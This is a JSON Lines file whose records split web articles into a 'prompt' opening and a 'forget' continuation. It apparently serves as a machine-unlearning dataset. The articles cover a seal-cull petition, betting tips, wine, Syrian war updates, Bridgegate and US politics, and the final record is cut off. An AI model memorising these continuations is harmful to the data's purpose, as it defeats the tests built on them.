{"prompt": "Tell Canada It Has No Excuses Left For Seal Cull by: Judith B. recipient: Prime Minister Stephen Harper The various justifications put forth to support the brutal cull of hundreds of thousands of harp seals in Canada have always been shaky. Now the argument that it is necessary \"to protect fish stocks,\" always scientifically dubious, holds no water at all. Climate change means seals are struggling to breed anyway. This year, it is predicted that thinning ice sheets over the Artic will lead to a very tough year for seals, with many if not most of the pups not surviving", "forget": "at all. Last year, an estimated 80 percent of the pups died simply because of a lack of sea ice. Too many seals is not going to be a problem, if indeed it ever was. The problem is now protecting them and their fragile habitat. The last thing in the world the seals needed is another brutal cull. Tell the Canadian Government to stop the commercial seal hunt when the species is struggling to survive anyway. read petition letter \u25be In 2011, an estimated 80% of that year's seal pups failed to survive simply because of decreasing sea ice. With harp seals now struggling to cope with new threats, a cull is completely unnecessary and could tip the populations of a once common species over the edge. We ask that the Canadian Government finally face reality and recognise that the commercial seal hunt is not in any way beneficial. It does not help Canada\u2019s wildlife, environment, reputation or even its fish stocks. We ask that the commercial harp seal hunt ends in 2012. We the undersigned ask that the Canadian Government cease the commercial harp seal hunt. Whether or not seals did once pose a threat to fish stocks, the species is now suffering the effects of climate change and overpopulation is certainly not an issue.In 2011, an estimated 80% of that year's seal pups failed to survive simply because of decreasing sea ice. With harp seals now struggling to cope with new threats, a cull is completely unnecessary and could tip the populations of a once common species over the edge.We ask that the Canadian Government finally face reality and recognise that the commercial seal hunt is not in any way beneficial. It does not help Canada\u2019s wildlife, environment, reputation or even its fish stocks. We ask that the"}
{"prompt": "On this page you will learn about Barclays Premier League tips. You'll learn about odds, bookmaker, best tipster, ranking and fixtures. Premier League Tips & Fixtures Planning your future betting can prove beneficial to making consistent profits. Take a look at the next set of Premier League fixtures. Take advantage of the free betting data and statistics too! Next Premier League Fixtures Best Premier League Tipsters The Premier League is renowned for being a tough league to bet on successfully. This is shown by the number of different title winners in recent years. There are so-called 'surprise' results week in", "forget": "week out. The strength of the division shouldn't be underestimated. There can be much value in betting on the sides who are considered 'lesser' teams. This is the case especially when these sides are playing at home. This is where our bettingexpert tipsters can point you in the right direction. You'll find thousands of EPL betting tips here with us throughout the season. As well as the standard Match Result tips, our predictions can be based on a range of markets. Anytime Goalscorer, Both Teams To Score and Asian Handicap markets are amongst those covered. Whatever the tip, remember that each prediction found on our site is completely free! We rank all of our tipsters in order of success. This means you can find Premier League predictions from only the best of our tipsters. See those who can boast excellent yield percentages and profits. Take a look at our most successful Premier League tipsters from the last two seasons below. See if they can help you make consistent profits too! Premier League Tips & Odds Formed in 1992, the Premier League has become the most popular football league in world football. It generates more than a staggering \u00a31.6 billion per year in domestic and international television rights. The League is broadcast in 212 different countries. There is a potential audience of approximately 4.7 billion people. This makes it the most watched league in the world by some distance. Since its inception in 1992, only six clubs have lifted the coveted Premier League trophy. Manchester United have won it on 13 occasions, all under the guidance of Sir Alex Ferguson. Chelsea have won it on five seperate occasions. London rivals Arsenal have won the title on three occasions, their last coming in the 2003/04 season. Manchester City have also won it"}
{"prompt": "Given such a singular vintage, it may be hard to draw conclusions about the region in general. Nonetheless, it\u2019s clear that, as in California, a new wave of Oregon producers is striving to make wine in a lighter, more restrained style. Although this has been true for several years, a vintage like 2011 certainly played to their strengths. Not one of the bottles in our tasting hit 14 percent alcohol, remarkable among New World wines that habitually leave that mark in the dust. While most of the bottles ranged from 12.5 to 13.5 percent, some went as low as 11", "forget": "and 10.5 percent. Why the disparity? Remember, though 13.5 percent is just 3 percentage points higher than 10.5 percent, that amounts to almost 30 percent more alcohol. I think it\u2019s fair to say that some producers felt it necessary to take the legal step in Oregon of adding sugar to the fermenting grape juice in order to boost alcohol levels and add richness. This technique, chaptalization, has a long history in cool-climate wine regions, although I doubt that it alone would account for a difference of 3 percentage points. In my opinion, it is one of the more benign manipulations available to modern winemakers. Those working in the most natural style possible would be among the least likely to chaptalize. For what it\u2019s worth, neither Teutonic Wine Company\u2019s Bergspitze Laurel Vineyard pinot noir from the Chehalem Mountains (10.5 percent) or Bow & Arrow\u2019s Medici Vineyard, also from Chehalem (11 percent) made our cut. I am a big fan of both producers and love many of their wines. Both of these were light and pure, and while I found them deliciously gulpable, others thought they were too dilute. I will say that at $36 and $30 respectively, it\u2019s possible to find equally thirst-quenching wines for far less money. Our favorite was Soter Vineyards North Valley cuv\u00e9e, made from purchased grapes rather than from Soter\u2019s estate vineyard, a deep, earthy, deliciously tangy wine that was our best value at $29. Right behind was the Sol\u00e9na Hyland Vineyard from the McMinnville region, with persistent complex flavors of red fruit and minerals and a sleek, almost gossamer structure. We also very much liked the harmonious Les Dijonnais from Brick House in Ribbon Ridge, which gave a slightly richer impression, and the bright, graceful Beaux Fr\u00e8res Willamette Valley. Two of the more unusual bottles in"}
{"prompt": "Sarah Harrison speaks at the re: publica 2014 in Berlin station. May 6, 2014. (Photo: re:publica 2014 / Flickr) Journalism with real independence and integrity is a rare thing. Help Truthout keep publishing grassroots journalism and bold ideas \u2013 make a tax-deductible donation today. This interview with Sarah Harrison of the Courage Foundation is based on a radio interview conducted by Margaret Flowers and Kevin Zeese on Clearing The FOG, originally heard on We Act Radio, 1480 AM in Washington, DC, and also available by podcast. Sarah Harrison is a British journalist, legal researcher and WikiLeaks investigation editor. She works", "forget": "with WikiLeaks and is a close adviser to Julian Assange. Harrison accompanied National Security Agency whistleblower Edward Snowden on a high-profile flight from Hong Kong to Moscow while he was sought by the United States government. She is director of the new Courage Foundation, which seeks to defend whistleblowers as well as our right to know. Kevin Zeese: Sarah, tell us what the Courage Foundation is and what the goals of the organization are. Sarah Harrison: The Courage Foundation was born from the idea that whistleblowers need protection from prosecution. When we first started to help Edward Snowden, there were many other NGOs and organizations around the world that should have been able to help him; but, when it comes to high risk people with huge persecution from places like the United States, the reality is that to move quickly and robustly to provide the support they need is actually very difficult. So after we helped Snowden, we realized that there was a need for an organization that was able to do this for future Snowdens as well. So we set up Courage on that basis. In addition, Courage will be fighting for policy and legal changes to give whistleblowers the protections they deserve. I\u2019m very pleased that you accepted to be on our advisory board Kevin. Kevin Zeese: Thank you for inviting me to be on the board. I also like the way you frame the issue of the public\u2019s right to know as part of the agenda because I think that is essential to having any kind of freedom of speech in the 21st century. It is important to frame it as not just our right to speak, but our right to have information. Sarah Harrison: In the United States, they are aggressively going after whistleblowers and truth"}
{"prompt": "Waukegan will squeeze in one more beach season before temporarily shutting down the lakefront's main access route after the City Council voted Monday night to approve a $7.3 million contract to rebuild the Grand Avenue bridge east of Sheridan Road. The nearly half-century-old bridge, which spans the Union Pacific Railroad tracks and leads to Waukegan Harbor via Pershing Road, has been targeted for an overhaul since at least 2012, when it was rated in poor condition by the U.S. Department of Transportation. In August 2014, the city signed off on a $6.2 million plan to rebuild the bridge in a", "forget": "project that would have started last fall and neared completion this spring, but Public Works Director Tom Hagerty said the plan ended up being re-bid by the Illinois Department of Transportation, which is overseeing the project. The new contract with F.H. Paschen & S.N. Nielson and Associates includes a $1.8 million contribution from the city, which will be drawn out of Motor Fuel Tax funds over the next two fiscal years. The scuttled 2014 contract had the city paying $1.43 million, with the remainder of the overall funding coming from the federal Surface Transportation and Bridge Replacement program. Now that the city has signed off on its end of the deal, Hagerty said work will begin at the end of summer. \"We're going to shut it down sometime in September and it should be open and substantially completed by next June 1 and completed by July 1,\" Hagerty said after the council voted unanimously to concur with the IDOT contract. \"There's not an exact time yet. It will be sometime in September, but it will be after Labor Day. We're certainly not going to close it before Labor Day.\" Also known locally as the Mathon Bridge, the deck is the most direct route from the downtown area to both the harbor and Municipal Beach. During its closure, traffic to the lakefront will come from Belvidere Road on the south and Greenwood Avenue on the north, both of which link to Pershing. Dan Moran, Lake County News-Sun The pothole-riddled Grand Avenue bridge across the Union Pacific Railroad tracks in Waukegan will be closed this fall for a $7.3 million, nine-month reconstruction project. The pothole-riddled Grand Avenue bridge across the Union Pacific Railroad tracks in Waukegan will be closed this fall for a $7.3 million, nine-month reconstruction project. (Dan Moran, Lake County"}
{"prompt": "ArenaNet seems to have a bit of a problem with finding good names relating to the heavily armoured profession that serves as the Monk\u2019s spiritual successor. It\u2019s understandable, really. While the guardian has many similarities with existing archetypes, the precise composition of the guardian is something that doesn\u2019t really have an established name in the genre. While the \u2018paladin\u2019 archetype is probably closest, the guardian extends much broader (as I discussed after the guardian\u2019s release) and paladins are typically associated with having a specific religious belief, which would fit poorly with the range of religious positions (or lack thereof) of", "forget": "the playable races. With that said, the term \u2018guardian\u2019 has made for a fair label. It may not be as evocative as terms like \u2018ranger\u2019 and \u2018elementalist\u2019\u2026 however, it is functional and descriptive enough for the guardian\u2019s abilities and role, and there aren\u2019t really any more exotic terms that fit. The term \u2018dragonhunter\u2019, on the other hand\u2026 Skyrim jokes aside, it feels a bit like a development placeholder term that never got replaced. While both terms are somewhat pedestrian at first glance, \u2018guardian\u2019 is descriptive to the general (but not exclusive) focus on defensive magic while remaining generic enough that it is easy to expect any organisation to include guardians within its ranks (some more than others, of course). Similarly, each of the other profession names, including the chronomancer specialisation, focus on abilities rather than goals. Unlike the Chronomancer, whose name identifies their abilities, the name \u2018dragonhunter\u2019 seems to dictate the character\u2019s objectives and personality while saying little about their abilities. For the dragonhunter, this is turned on its head. The term says little about the character\u2019s abilities, while limiting the character in goals: by its name, a dragonhunter is implied to only be focused on fighting the dragons, rather than pursuing other threats and goals. In the latest Ready Up, in fact, we are explicitly told that dragonhunters focus their efforts on hunting dragon minions, including taking up something of a \u2018witch hunter\u2019 aspect in sniffing out Mordremoth-influenced sylvari and other dragon-corrupted individuals among their allies. While it is a reasonable assumption that the PCs would have such a primary goal, it does lead to the impression that ArenaNet is telling us what the personality of the character should be, rather than letting the player come to their own opinion of their character\u2019s goals and motivations. Also, unlike the"}
{"prompt": "Hello and welcome to the 144th instalment of the SWD . Military events/news are listed below by the governorates: To begin with, the different de-escalation zones have so far achieved its objectives with no major fighting taking place in most of the different frontlines. Raqqa: Early this morning FSA units within the SDF fled from Raqqa Old city after heavy clashes and some unknown casualties. During the day YPG forces pushed into the Old districts and made advances towards the Old Mosque. An ISIS SVBIED hit SDF after reaching the Old Mosque, Hisham Abdulmalik district. Aleppo: Some protests against corruption,", "forget": "the checkpoints and calling for reforms. Apparently, the protests took place without incidents. Homs: ISIS Amaq News published a video showing an ISIS SVBIED against SAA forces near Araq, in East Palmyra. Hama: The SAA launched new attacks toward ISIS forces in East Hama. Initial reports suggested that the Governmental forces are advancing against ISIS. The possible objectives of this offensive are the strongholds of Uqayribat and Tall Sanimah. The SAA and Palestinian Liwa Al Quds captured Tal Tabarah Al Deeb in the countryside from ISIS forces. At the same time, Desert Hawks captured multiple positions, including the Al-Maksar area and Tal Huway\u2019at east to Salamiyah. An explosion hit a bus station in the centre of Masyaf town in Western Hama, the SVBIED killed 3 people. Damascus: Faylaq Al-Rahman damaged a government\u2019s BMP with a direct hit on Ain Terma front. At the same time, the SAA advanced towards Ain Terma and captured an unknown number of buildings between Zamalka bridge and Ahl al-Safa mosque. Government forces also captured the Shamini Land complex. Daraa: The Syrian Government extended the cessation of hostilities in the whole southern region, which includes Daraa, Kenitra and Swaida, until the end of 07/08/2017. Meanwhile, the newly started rebel offensive against ISIS southern pocket has been reported to have failed. Iraq Nineveh: Iraqi forces made considerable advances against the Islamic State forces in several areas of the Old Mosul district. Preliminary reports inform that ISIS lines had collapsed and the remaining ISIS troops inside the Old city are trapped in small pockets of 500 meters or less. As this article is being written, some reports are announcing the full liberation of Mosul city, although, it is better for all to wait until the Iraqi government confirms the rumours. If true, the Iraqi government would have taken"}
{"prompt": "On A+ A+ is not that important. But, some people like it. Some people love it. Some people are obsessed with it to the point of being raging idiots. That being said, here's some simple rules to follow if you enjoy extra cash and happen to enjoy being a good teammate: RULES OF MAKING YOUR SCOUT/SPY'S LIFE EASIER: 1. When your team is being routed and you currently have an A+, just fall back and regroup. It will keep your killzone cleaner. Killing bots at the very front while your entire team is respawning is asking to lose money. Rottenberg", "forget": "is a prime example of this. 2. If you kill something in a weird place and can't grab the money, tell your Scout/Spy where it is. They are not psychic, and you're wasting their time and weakening your entire team by making them look all over for it. 3. Medics, over-heal your scouts. If the scout is dead near you and you can spare 2 seconds, revive them! 4. A+ is a team effort. If you really want it, HELP PICK UP MONEY. RULES OF HELPING WITH MONEY: 1. If you kill a robot away from the scout, PICK UP THE CASH 2. If your Scout/Spy/Money-person is dead, PICK UP THE CASH 3. Leave giant piles of easy-to-grab cash for the scout. He needs the overheal. 4. Pick up the little cash piles for the scout unless they're somewhere obvious and convenient. The more you make your scout/spy hustle all over the map over chump change, the less milking/marking and dead giants you get. 5. The closer you get to the end of the wave, the more you should help with money to maintain the A+. In the last 20% of a wave, everyone should be watching the cash situation very closely as not to waste the Scout's efforts. 6. If you have a money Spy, grab all the cash you can. One of the reasons Spy can be so difficult to play is because teammates are braindead about cash. 7. Once the wave ends, don't just run straight back to the upgrade shop if there's still money missing. Help look for it! So there you go. A few simple things to keep in mind that will help immensely, because I see way too many tour 10+ players making all these mistakes, then turning around and wanting to kick a"}
{"prompt": "This is a tale of New Jersey politics. So it is only fitting that it begins \u2014 as it will end \u2014 in a courtroom. It is the spring of 1978, and a boy wants to sue the government. Charles A. Poekel Jr., a suburban attorney, is staring across his desk at his client, a Livingston High School junior who\u2019s trying to run for a minor office but has been disqualified because he can\u2019t vote. The 16-year-old sits next to his parents, but he does most of the talking. He knows the names of all the county bosses and town", "forget": "committeemen. Poekel understands impatient ambition \u2014 he ran for Congress himself at the age of 28. But he\u2019s never met anyone like this boy, David Wildstein. \u201cIt is very unusual that someone of that age would be that all-consumed with politics,\u201d Poekel recalls many years later. \u201cIt was like having a child prodigy as a musician, but he was a child prodigy as a politician. I would call him a political Mozart.\u201d Wildstein takes his case to court. He makes the local TV news, the Times, and the front page of the Livingston weekly paper, the West Essex Tribune, which has been covering his activities since middle school. (It straightforwardly reported his defection from the Democrats to the Republicans at the age of 12.) When the judge rejects his request, the boy remains defiant. \u201cI am in no way over the hill,\u201d he declares, \u201cand can assure the voters of Livingston that they have only just begun to see the name of David Wildstein.\u201d Video: A Brief History of \u201cBridgegate\u201d Back at Livingston High, Wildstein is considered an oddball. He is chubby, with glasses, and a strident conservative. Wildstein doesn\u2019t fit into any of the school\u2019s cliques, but he hangs around the margins of the baseball team. He is a baseball nerd \u2014 loves the strategy, the way the game can be broken down into numbers \u2014 and acts as team statistician. Livingston is a championship contender, and the players are popular. Everyone loves the catcher, who is the president of the class a year behind Wildstein\u2019s, a beefy jock with a shaggy haircut named Chris Christie. That May, as Wildstein is trying to run for office, Christie makes the paper for socking a home run into a neighboring swimming pool. Christie\u2019s middle-class family lives in a modest brick home"}
{"prompt": "Averil Macdonald, the chair of shale gas lobby group UK Onshore Oil and Gas, recently made some highly controversial statements about how she believes gender impacts a person\u2019s feelings about fracking. During an interview with The Times of London, Macdonald argued that men are generally more in favor of fracking\u2013the controversial drilling technique used to mine shale gas\u2013because they\u2019re influenced by an \u201cawful lot of facts.\u201d Macdonald may not be wrong that gender plays a role in how fracking is viewed; a University of Nottingham survey found recently that, out of a pool of approximately 7,000 participants, women were less", "forget": "likely to approve of fracking than men or to correctly identify shale gas as the fossil fuel produced by the process. A board member of Women in Science and Engineering, an organization dedicated to encouraging women to enter STEM fields, Macdonald says that women\u2019s judgement is clouded by our emotions and dedication to family. Speaking to The Times, she argued that women compensate for their lack of formal scientific education by instead trusting their \u201cgut reaction\u201d: Frequently the women haven\u2019t had very much in the way of a science education because they may well have dropped science at 16. That is just a fact. Women do tend not to have continued with science. Not only do [they] show more of a concern about fracking, they also know that they don\u2019t know and they don\u2019t understand. They are concerned because they don\u2019t want to be taking [something] on trust. And that\u2019s actually entirely reasonable. But women, for whatever reason, have not been persuaded by the facts. More facts are not going to make any difference. What we have got to do is understand the gut reaction, the feel. The dialogue is more important than the dissemination of facts. Women are always concerned about threats to their family more than men. We are naturally protective of our children. I would similarly be concerned but I read the literature and I feel comfortable that I understand. What I hope is that I can make the women who are concerned comfortable that the myths they are worried about are myths. Macdonald went on to say that more high-level female executives are needed in the shale industry, and that the ten executives who interviewed her for her current position were all men. According to The Telegraph, she\u2019s currently spearheading a campaign to convince women of"}
{"prompt": "Virginia Governor-elect Ralph Northam, a Democrat. Win McNamee/Getty Images Democrats have lost their one-vote lead in a state election that will determine control over the Virginia House of Delegates. The race is now a tie, and the State Board of Elections will determine a winner by drawing lots. If Democrat Shelly Simonds wins, Democrats will break the GOP\u2019s 20-year chokehold on power in the House. If Republican David Yancey wins, the GOP will retain unified control of the state legislature. Simonds appeared to have triumphed on Tuesday afternoon after a recount determined that she had received 11,608 to Yancey\u2019s 11,607.", "forget": "(Before the recount, Yancey led by 10 votes.) But the result remained unofficial until it was certified by a three-judge panel. On Tuesday night, a Republican recount official appointed by Yancey\u2019s side submitted a letter asserting that an additional ambiguous ballot that should have been counted for Yancey. On the ballot in question, a voter had filled in the bubbles next to both candidates, but placed a strike through the bubble next to Simonds\u2019 name. #VPBreaking: This is the actual disputed ballot that has now tied the #Virginia 94th House District race. pic.twitter.com/v9BLGFAdki \u2014 The Virginian-Pilot (@virginianpilot) December 20, 2017 Initially, the ballot was not counted for either candidate. But the recount official wrote that, upon further consideration\u2014and after consultation with GOP lawyer Trevor Stanley\u2014he decided that the ballot expressed an intent to vote for Yancey. The three-judge panel examined the ballot and agreed to count the vote for Yancey. Their decision made the race a tie, 11,608\u201311,608. Under Virginia law, if a race is tied, the election board draws lots to determine the winner. There\u2019s no set procedure for drawing lots, but the State Board of Elections has suggested it will place both names in a small canister, put the canisters in a glass bowl, shake it up, and pull one name out. That candidate will be declared the winner. (In the past, the board has also broken ties by asking a blindfolded person to draw a name from a large cup.) Virginia Republican leadership has already claimed that the loser of this process may request a second recount, apparently because the statute governing ties states that \u201cany person who loses the determination by lot may petition for a recount.\u201d However, this provision seems to pertain only to ties following the initial vote tally. A separate statute states: \u201cThere"}
{"prompt": "We analyzed data on 14,530 US adults from the Third National Health and Nutrition Examination Survey. General self-rated health (GSRH)\u2014\u201cIn general, would you say your health is Excellent, Very Good, Good, Fair, or Poor?\u201d\u2014and a single question to physician examiners following a medical examination rating participants' health, both on a 5-point scale of Excellent, Very Good, Good, Fair, or Poor were assessed for the period 1988-1994. All-cause mortality was assessed through December 31, 2006 (n = 3,460 deaths). GSRH has not been widely used for predicting patient outcomes because practitioners have assumed that it adds little value over what an", "forget": "informed physician assessment and other relevant objective data can provide. Although one might believe that GSRH and physician assessment of health would be highly correlated, few studies have addressed this association. We hypothesized that GSRH may add value to physician assessments of health because many of the other important influences on health and outcome of which the patient is inherently conscious (socioeconomic status, emotional health, etc) are not routinely captured by either the health system or the physician. Therefore, we assessed the concordance between patient GSRH and physician assessment of health after adjustment for an array of objective data, as well as the risk for mortality associated with GSRH independent of physician-rated health in a nationally representative sample of US adults. Community-based cohorts and clinic-based studies show a strong association between participants' responses to a single question about general self-rated health (GSRH) and subsequent need for health expenditures and health services. 1 - 3 Patient responses are also strongly associated with subsequent mortality even when adjusted for an array of covariates. 4 , 5 GSRH has also been demonstrated to improve the predictive power of claims-based and clinical models. 3 For the analysis of all-cause mortality, follow-up for each study participant was calculated as the time between their NHANES III examination and the date of death or December 31, 2006, for those still alive at the end of follow-up. Cox proportional hazards regression was used to calculate the hazard ratios for mortality associated with Good and Fair/Poor versus Excellent/Very Good participant GSRH. An initial model included adjustment for age, race/ethnicity, and sex. The next model included additional adjustment for education, income, physical activity, cigarette smoking, BMI, systolic blood pressure, use of antihypertensive medications, total and HDL cholesterol, diabetes, estimated glomerular filtration rate, microalbuminuria, and elevated CRP. A final model included"}
{"prompt": "A senior State Department official raised concern Monday that \u201cfreedom of expression is being stifled\u201d in Egypt, where recent days saw authorities detain and question a popular television comedian on charges of insulting Islam and the nation\u2019s former Muslim Brotherhood president. While talk-show host Bassem Youssef \u2014 often described as Egypt\u2019s version of U.S. comedian Jon Stewart \u2014 has been released from custody, State Department spokeswoman Victoria Nuland described his brief detention over the weekend as \u201cdisturbing.\u201d \u201cThis, coupled with recent arrest warrants issued for other political activists, is evidence of a disturbing trend of growing restrictions on the freedom", "forget": "of expression,\u201d Mrs. Nuland told reporters at the State Department. \u201cThere does not seem to be an even-handed application of justice here,\u201d said Mrs. Nuland. She said Egyptian authorities appeared to be pouncing on cases such as Mr. Youssef\u2019s while being \u201cslow or inadequate in investigating\u201d other matters, such as complaints about restrictions on journalists and investigations of attacks on demonstrators outside the Egyptian presidential palace in December 2012. While the Muslim Brotherhood-dominated government of Egyptian President Mohamed Morsi has for months faced criticism from secular and liberal activists over the government\u2019s posture on religious freedom and treatment of opposition figures, Mr. Youssef\u2019s case has made international headlines. According to media reports, more than two dozen complaints were filed against the comedian under an Egyptian law that once allowed former dictator Hosni Mubarak to crack down on citizens accused of ridiculing his government. Mr. Youssef, who has gained prominence as a talk-show host since the revolution that ousted Mr. Mubarak from power in 2011, has a reputation of making fun of the Muslim Brotherhood leadership that arose after Mr. Mubarak\u2019s fall. According to a report by the Los Angeles Times, Mr. Youssef has portrayed Mr. Morsi as a pharaoh prone to verbal gaffes, such as when the new president spoke out against drunken driving by saying, \u201cGas and alcohol don\u2019t mix.\u201d The newspaper also reported that after Mr. Morsi granted himself sweeping powers in November, Mr. Youssef dubbed him \u201cSuper Morsi\u201d and \u201cMorsi, the unifier of authorities,\u201d a play on the president\u2019s inability to unify Egyptians. When he heard of the comparisons last June, Mr. Stewart invited Mr. Youssef on as a guest of the show in New York. During the appearance, Mr. Stewart asked what it was like to host a political comedy show in Egypt while the nation"}
{"prompt": "MSU target Josh Jackson, right, playing for the West team, blocks the shot of East forward Jayson Tatum during Wednesday night's McDonald's All-American game in Chicago. (Photo: Matt Marton / AP) CHICAGO \u2013 Miles Bridges definitely paused when speaking about Josh Jackson. Perhaps he caught himself. Maybe it was nothing. Probably nothing. It might have been something. Welcome to \u201cJosh Jackson Decision 2016.\u201d This is what it\u2019s coming to \u2014 analyzing the verbal pauses of Michigan State\u2019s other incoming recruits for clues as to what Jackson might decide. Check that: has decided. He knows where he's going to college. Bridges", "forget": "knows, too. Neither is saying. Likely not for a few more weeks, Jackson said after Wednesday night\u2019s McDonald\u2019s All-American game. He\u2019s got a busy schedule and wants to do it when life slows and he can be around family and friends. There is something ridiculous, almost demeaning about hanging on every word of a 19-year-old. Even if it\u2019s part of the job. Even if he's the nation's top-ranked recruit. I\u2019d like to tell Jackson to get over himself and share his decision. Spit it out. So the rest of us can get on with our lives that will or won\u2019t involve him. The thing is, he\u2019s worth the fuss. He\u2019s that good. Against the best high school basketball players in the country \u2014 probably a dozen other future pros \u2014 Jackson stood out. He plays above the rim and beyond the arc. He can handle the basketball and finish on the drive. And he can pass. And defend. And at 6-foot-7 and a shade under 200 pounds, he can play three positions, including point guard. He scored 19 points in 17 minutes Wednesday, winning co-MVP. He would have scored two more, but his first emphatic put-back dunk was over the back of a teammate, who got credit for the bucket. Jackson is as close to a complete player as you\u2019ll find between high school and the NBA. He\u2019s finishing the former, soon to be in the latter. In-between he\u2019ll play for \u2026 That brings us back to Bridges\u2019 pause \u2014 either the most interesting or least interesting moment of the night. Of the many inquiries this week about Jackson\u2019s whereabouts next season \u2014 MSU, Kansas or Arizona \u2014 this was not one of them. The question to Bridges was about how much he\u2019d played and worked out with his future"}
{"prompt": "Kevin Rudd and Israel's Foreign Minister, Avigdor Lieberman, during a press conference at the Foreign Ministry in Jerusalem yesterday. Israeli Foreign Minister Avigdor Lieberman yesterday rejected Kevin Rudd's call that its nuclear facility should be subject to inspection by the International Atomic Energy Agency. Standing alongside Mr Rudd during a press conference in Jerusalem, Mr Lieberman said what was important was not whether any country was a member of the Non- Proliferation Treaty but that it was responsible. He made it clear Israel did not regard any such inspection as necessary as it was a responsible country \"and we have", "forget": "proved this for many years\". Read Next Mr Rudd, in an interview with The Australian this week, had said Israel's nuclear facility should be subject to inspection by the IAEA. The comment shocked Israeli officials, who could not recall an Australian minister suggesting that their facility at Dimona should be subject to inspection. Mr Rudd had said: \"Our view has been consistent for a long period of time, and that is that all states in the region should adhere to the NPT, and that includes Israel. And therefore their nuclear facility should be subject to IAEA inspection.\" But Mr Lieberman said yesterday: \"I think that we have a very clear position -- we are a very responsible country and a responsible government and we have proved this for many years.\" He said in his view, the question was not the NPT but whether a country and its government was responsible or not. \"Iran joined with the NPT and is part of the NPT and we see every day cheating and many attempts to waste time (allowing in inspectors) and, of course, they're part of the NPT but the reality is completely different.\" While Mr Rudd had made his comment in an interview in Cairo, in Jerusalem yesterday he softened his position, saying Australia recognised Israel's \"unique security circumstances\". He concentrated much more on Iran's nuclear program than Israel's. Mr Rudd said Australia was \"deeply concerned\" about Iran's nuclear weapons program and while its stated aim was nuclear energy for civilian purposes, it found itself in defiance of provisions of the NPT. \"Therefore Iran has obtained from us and from other countries . . . universal condemnation, secondly sanctions and thirdly, in the case of Australia, autonomous sanctions over and above those which are required under the UN Security Council,\" he"}
{"prompt": "CLOSE A look at everything that went down at the Oregon Capitol during the Independence Day holiday. Statesman Journal / Wochit Buy Photo Sun cast early morning light on the Golden Pioneer on the Oregon Capitol (Photo: Diane Dietz, Statesman Journal)Buy Photo Oregon Republicans took the lead in arguing for spending $36 million on health care for undocumented Oregon children during a Monday session. The \u201ccover all kids\u201d Senate Bill 558 passed the body on a 21-8 vote. The bill now proceeds to the House where it's likely to find favor with the majority Democrats. Senate Republican Leader Ted Ferrioli,", "forget": "R-John Day, said he\u2019ll take a shellacking for his \u2018yes\u201d vote on the bill from constituents who believe extending benefits encourages illegal immigration. \u201cI can hear the town hall questions; I can write them,\u201d he said. \u201cI will look at folks with anger in their eyes and they will not listen to the answer that it is less expensive (to provide coverage),\u201d Ferrioli said, finally adding, \u201cFolks can sharpen their knives and load up. I\u2019ll be in the district after the session is over. I can answer the questions then just as I can now.\u201d The bill would extend coverage under the Oregon Health Plan to an estimated 15,000 children in the state who otherwise would be prohibited from signing up because they lack legal residency status. Gov. Kate Brown highlighted the cover all kids program as a priority in her proposed budget. Ninety-eight percent of Oregon children are covered today. The bill, which takes effect Jan. 1, would bring the proportion even higher. A hospital provider tax of 1.7 percent on large hospitals and 4 percent on small hospitals passed in June will pay for the expansion, according to legislative documents. Sen. Jeff Kruse, R-Roseburg, carried the bill to the Senate floor and made the case that it is really a conservative bill. Children don\u2019t go completely without care, he said. When they turn up sick at hospitals, hospitals have to treat them, and that\u2019s the most expensive way to treat them. \u201cI know about the optics of this thing. We could get wrapped up in sanctuary this, sanctuary that. We could get wrapped up with immigration this or immigration that,\u201d Kruse said. \u201cThis is not about the optics or the politics. This is about health care at a reasonable cost.\u201d Passing the bill will bring relief to hospitals"}
{"prompt": "JACKSON HEIGHTS \u2014 A Queens gas station owned by a taxi tycoon is refusing to sell gas to anyone but yellow cabs \u2014 with preferential treatment for his own drivers \u2014 even as desperate motorists line up for blocks to get fuel amid a massive shortage caused by Hurricane Sandy. On the eve of Mayor Michael Bloomberg's mandatory gas-rationing plan, a Shell station on Northern Boulevard and 71st Street was giving away a seemingly endless supply of gas \u2014 mainly to members of taxi mogul Evgeny Freidman's taxi fleet. Freidman's gas station had three working pumps on Thursday and has", "forget": "been flush with gas in the wake of the hurricane, even as dozens of others around the five boroughs ran dry and closed, sparking massive lines. The station waved away at least five pleading motorists trying to fill up at the pump within an hour that evening while yellow cabs flew through the line and filled up, as officials from the city's Taxi and Limousine Commission stood by and watched. \"We're just here to provide security,\" said a TLC official, who turned up at the station at 5 p.m. Thursday, along with several NYPD officers, after getting \"hundreds\" of 911 calls about fights at that station. Two pumps were reserved for Taxi Club Management, Freidman's massive fleet of cabs. All other cab drivers, who had been turned away from the station until the TLC intervened Wednesday, had to wait in two-block-long lines to use the third pump, even when the Taxi Club lines were empty. The scene came as the city rolled out a controversial odd-even gas rationing plan gas rationing plan, only allowing those whose license plate ends in an even number to get gas on even-numbered days, and those whose license plate ends in an odd number, a letter or another character to get gas on odd-numbered days. The order does not apply to taxis or livery vehicles, because they are a part of the \"public transportation system,\" city officials said Thursday. Police who were briefly on hand at the Jackson Heights station Thursday directed traffic and tried to keep order, telling one angry driver waiting in a long line that there was nothing he could do because it was a private facility. \"If you're serving the public, you should serve the public at all times,\" Maribel Egipciaco, 52, who waited in line for 15 minutes before an"}
{"prompt": "BATON ROUGE, La. (AP) \u2014 A 23-year-old white Baton Rouge man arrested Tuesday was accused of killing two black men and firing on a black family in a string of attacks that police say may have been racially motivated. A law enforcement official said they had found a copy of an Adolf Hitler speech at the home of Kenneth James Gleason, and investigators said DNA on shell casings and other evidence link him to the crimes. Gleason was led away from the police department in handcuffs just before authorities there held a news conference to announce that he would be", "forget": "charged with first-degree murder in the shooting deaths last week of a homeless man and a dishwasher who was walking to work. \u201cI feel confident that this killer would have killed again,\u201d interim Police Chief Jonny Dunnam said. Gleason\u2019s attorney, J. Christopher Alexander, said his client \u201cvehemently denies guilt, and we look forward to complete vindication.\u201d Alexander declined to say anything else. Authorities found a copy of the Hitler speech during a search of Gleason\u2019s home over the weekend, according to the law enforcement official who spoke to The Associated Press on condition of anonymity because the investigation was ongoing. Asked whether police suspect race was a motive for the shootings, Sgt. L\u2019Jean McKneely said: \u201cWe\u2019re not completely closed off to that. We\u2019re looking at all possibilities at this time, so we\u2019re not going to just pinpoint that.\u201d District Attorney Hillar Moore said his office could seek the death penalty. \u201cIt appears to be cold, calculated, planned (against) people who were unarmed and defenseless,\u201d he said. \u201cWe don\u2019t need to prove motive. There are a lot of things that are unanswered.\u201d No one was injured when Gleason fired multiple times into the home of a black family in his neighborhood on Sept. 11, authorities said. It\u2019s not clear if Gleason knew the family. In the other shootings, Gleason fired from his car then walked up to the victims as they were lying on the ground and fired again multiple times, police said. Neither victim had any prior relationship with Gleason. The first fatal shooting 